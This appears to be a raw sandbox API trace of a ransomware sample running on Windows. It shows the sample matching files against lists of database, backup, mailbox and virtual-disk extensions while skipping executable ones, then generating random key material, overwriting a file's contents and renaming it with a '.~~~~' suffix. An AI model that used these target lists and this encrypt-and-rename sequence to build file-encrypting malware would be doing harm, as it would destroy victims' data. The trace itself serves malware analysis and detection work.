	[0142.030] lstrlenW (lpString=".EQL") returned 4
	[0142.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".EQL") returned 0x0
	[0142.030] lstrlenW (lpString=".FDB") returned 4
	[0142.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".FDB") returned 0x0
	[0142.030] lstrlenW (lpString=".EDB") returned 4
	[0142.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".EDB") returned 0x0
	[0142.030] lstrlenW (lpString=".DACPAC") returned 7
	[0142.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.030] lstrlenW (lpString=".VHD") returned 4
	[0142.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".VHD") returned 0x0
	[0142.030] lstrlenW (lpString=".DBV") returned 4
	[0142.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".DBV") returned 0x0
	[0142.030] lstrlenW (lpString=".dacpac") returned 7
	[0142.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.030] lstrlenW (lpString=".sdf") returned 4
	[0142.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".sdf") returned 0x0
	[0142.031] lstrlenW (lpString=".accdb") returned 6
	[0142.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".accdb") returned 0x0
	[0142.110] lstrlenW (lpString=".DBX") returned 4
	[0142.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".DBX") returned 0x0
	[0142.110] lstrlenW (lpString=".MDT") returned 4
	[0142.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".MDT") returned 0x0
	[0142.110] lstrlenW (lpString=".SQB") returned 4
	[0142.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".SQB") returned 0x0
	[0142.110] lstrlenW (lpString=".vhd") returned 4
	[0142.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".vhd") returned 0x0
	[0142.110] lstrlenW (lpString=".bac") returned 4
	[0142.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".bac") returned 0x0
	[0142.128] lstrlenW (lpString=".mdf") returned 4
	[0142.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".mdf") returned 0x0
	[0142.128] lstrlenW (lpString=".BAK") returned 4
	[0142.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".BAK") returned 0x0
	[0142.128] lstrlenW (lpString=".BAC") returned 4
	[0142.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".BAC") returned 0x0
	[0142.128] lstrlenW (lpString=".dbs") returned 4
	[0142.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".dbs") returned 0x0
	[0142.128] lstrlenW (lpString=".vhdx") returned 5
	[0142.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.128] lstrlenW (lpString=".NDF") returned 4
	[0142.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".NDF") returned 0x0
	[0142.128] lstrlenW (lpString=".dat") returned 4
	[0142.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".dat") returned 0x0
	[0142.128] lstrlenW (lpString=".DBS") returned 4
	[0142.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".DBS") returned 0x0
	[0142.129] lstrlenW (lpString=".CKP") returned 4
	[0142.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".CKP") returned 0x0
	[0142.129] lstrlenW (lpString=".edb") returned 4
	[0142.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".edb") returned 0x0
	[0142.129] lstrlenW (lpString=".PST") returned 4
	[0142.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".PST") returned 0x0
	[0142.129] lstrlenW (lpString=".dbf") returned 4
	[0142.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".dbf") returned 0x0
	[0142.129] lstrlenW (lpString=".SQL") returned 4
	[0142.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".SQL") returned 0x0
	[0142.129] lstrlenW (lpString=".pst") returned 4
	[0142.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".pst") returned 0x0
	[0142.129] lstrlenW (lpString=".dbv") returned 4
	[0142.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".dbv") returned 0x0
	[0142.129] lstrlenW (lpString=".SDF") returned 4
	[0142.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".SDF") returned 0x0
	[0142.129] lstrlenW (lpString=".dtxs") returned 5
	[0142.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.129] lstrlenW (lpString=".db3") returned 4
	[0142.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".db3") returned 0x0
	[0142.129] lstrlenW (lpString=".OST") returned 4
	[0142.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".OST") returned 0x0
	[0142.129] lstrlenW (lpString=".dbx") returned 4
	[0142.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".dbx") returned 0x0
	[0142.129] lstrlenW (lpString=".DB3") returned 4
	[0142.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".DB3") returned 0x0
	[0142.130] lstrlenW (lpString=".DAT") returned 4
	[0142.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".DAT") returned 0x0
	[0142.130] lstrlenW (lpString=".VHDX") returned 5
	[0142.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.130] lstrlenW (lpString=".ndf") returned 4
	[0142.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".ndf") returned 0x0
	[0142.130] lstrlenW (lpString=".DB") returned 3
	[0142.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".DB") returned 0x0
	[0142.130] lstrlenW (lpString=".sql") returned 4
	[0142.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".sql") returned 0x0
	[0142.130] lstrlenW (lpString=".MYD") returned 4
	[0142.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".MYD") returned 0x0
	[0142.130] lstrlenW (lpString=".DBT") returned 4
	[0142.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".DBT") returned 0x0
	[0142.130] lstrlenW (lpString=".ACCDB") returned 6
	[0142.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.130] lstrlenW (lpString=".fdb") returned 4
	[0142.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".fdb") returned 0x0
	[0142.130] lstrlenW (lpString=".bak") returned 4
	[0142.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".bak") returned 0x0
	[0142.130] lstrlenW (lpString=".myd") returned 4
	[0142.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".myd") returned 0x0
	[0142.130] lstrlenW (lpString=".DTXS") returned 5
	[0142.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.130] lstrlenW (lpString=".ckp") returned 4
	[0142.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".ckp") returned 0x0
	[0142.130] lstrlenW (lpString=".dbt") returned 4
	[0142.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".dbt") returned 0x0
	[0142.131] lstrlenW (lpString=".db") returned 3
	[0142.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".db") returned 0x0
	[0142.131] lstrlenW (lpString=".TXT") returned 4
	[0142.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".TXT") returned 0x0
	[0142.131] lstrlenW (lpString=".MDF") returned 4
	[0142.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".MDF") returned 0x0
	[0142.131] lstrlenW (lpString=".bdb") returned 4
	[0142.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".bdb") returned 0x0
	[0142.131] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0142.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.131] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0142.132] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.132] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0142.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0142.132] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26212254573) returned 1
	[0142.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbe1f6a90, dwHighDateTime=0x1d60e1e)) 
	[0142.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a37d0
	[0142.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a37d0 | out: hHeap=0x300000) returned 1
	[0142.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9018
	[0142.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6840
	[0142.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9018 | out: hHeap=0x300000) returned 1
	[0142.133] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0142.133] GetLastError () returned 0x0
	[0142.134] GetLastError () returned 0x0
	[0142.134] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0142.134] GetLastError () returned 0x0
	[0142.134] GetLastError () returned 0x0
	[0142.134] ReadFile (in: hFile=0x104, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x1f8fec0*=0x16a1, lpOverlapped=0x0) returned 1
	[0142.136] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffe95f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.136] WriteFile (in: hFile=0x104, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x16a1, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0x16a1, lpOverlapped=0x0) returned 1
	[0142.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0142.137] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.137] WriteFile (in: hFile=0x104, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.137] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.137] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.137] CloseHandle (hObject=0x104) returned 1
	[0142.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9018
	[0142.137] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51f.gif.~~~~")) returned 1
	[0142.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9018 | out: hHeap=0x300000) returned 1
	[0142.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.140] GetLastError () returned 0x0
	[0142.140] RtlWakeConditionVariable () returned 0x0
	[0142.140] GetCurrentThreadId () returned 0xaf0
	[0142.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".scr") returned 0x0
	[0142.140] lstrlenW (lpString=".cmd") returned 4
	[0142.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".cmd") returned 0x0
	[0142.140] lstrlenW (lpString=".dll") returned 4
	[0142.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".dll") returned 0x0
	[0142.140] lstrlenW (lpString=".bat") returned 4
	[0142.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".bat") returned 0x0
	[0142.140] lstrlenW (lpString=".cpl") returned 4
	[0142.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".cpl") returned 0x0
	[0142.140] lstrlenW (lpString=".sys") returned 4
	[0142.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".sys") returned 0x0
	[0142.141] lstrlenW (lpString=".msc") returned 4
	[0142.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".msc") returned 0x0
	[0142.141] lstrlenW (lpString=".com") returned 4
	[0142.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".com") returned 0x0
	[0142.141] lstrlenW (lpString=".lnk") returned 4
	[0142.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".lnk") returned 0x0
	[0142.141] lstrlenW (lpString=".msp") returned 4
	[0142.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".msp") returned 0x0
	[0142.141] lstrlenW (lpString=".pif") returned 4
	[0142.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".pif") returned 0x0
	[0142.141] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.144] lstrlenW (lpString=".sqb") returned 4
	[0142.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".sqb") returned 0x0
	[0142.144] lstrlenW (lpString=".ost") returned 4
	[0142.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".ost") returned 0x0
	[0142.144] lstrlenW (lpString=".txt") returned 4
	[0142.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".txt") returned 0x0
	[0142.144] lstrlenW (lpString=".mdt") returned 4
	[0142.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".mdt") returned 0x0
	[0142.144] lstrlenW (lpString=".BDB") returned 4
	[0142.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".BDB") returned 0x0
	[0142.144] lstrlenW (lpString=".eql") returned 4
	[0142.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".eql") returned 0x0
	[0142.144] lstrlenW (lpString=".DBF") returned 4
	[0142.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".DBF") returned 0x0
	[0142.144] lstrlenW (lpString=".EQL") returned 4
	[0142.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".EQL") returned 0x0
	[0142.145] lstrlenW (lpString=".FDB") returned 4
	[0142.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".FDB") returned 0x0
	[0142.145] lstrlenW (lpString=".EDB") returned 4
	[0142.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".EDB") returned 0x0
	[0142.145] lstrlenW (lpString=".DACPAC") returned 7
	[0142.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.145] lstrlenW (lpString=".VHD") returned 4
	[0142.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".VHD") returned 0x0
	[0142.145] lstrlenW (lpString=".DBV") returned 4
	[0142.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".DBV") returned 0x0
	[0142.145] lstrlenW (lpString=".dacpac") returned 7
	[0142.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".dacpac") returned 0x0
	[0142.145] lstrlenW (lpString=".sdf") returned 4
	[0142.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".sdf") returned 0x0
	[0142.145] lstrlenW (lpString=".accdb") returned 6
	[0142.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".accdb") returned 0x0
	[0142.145] lstrlenW (lpString=".DBX") returned 4
	[0142.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".DBX") returned 0x0
	[0142.145] lstrlenW (lpString=".MDT") returned 4
	[0142.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".MDT") returned 0x0
	[0142.145] lstrlenW (lpString=".SQB") returned 4
	[0142.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".SQB") returned 0x0
	[0142.145] lstrlenW (lpString=".vhd") returned 4
	[0142.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".vhd") returned 0x0
	[0142.145] lstrlenW (lpString=".bac") returned 4
	[0142.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".bac") returned 0x0
	[0142.146] lstrlenW (lpString=".mdf") returned 4
	[0142.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".mdf") returned 0x0
	[0142.146] lstrlenW (lpString=".BAK") returned 4
	[0142.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".BAK") returned 0x0
	[0142.146] lstrlenW (lpString=".BAC") returned 4
	[0142.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".BAC") returned 0x0
	[0142.146] lstrlenW (lpString=".dbs") returned 4
	[0142.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".dbs") returned 0x0
	[0142.146] lstrlenW (lpString=".vhdx") returned 5
	[0142.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".vhdx") returned 0x0
	[0142.146] lstrlenW (lpString=".NDF") returned 4
	[0142.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".NDF") returned 0x0
	[0142.146] lstrlenW (lpString=".dat") returned 4
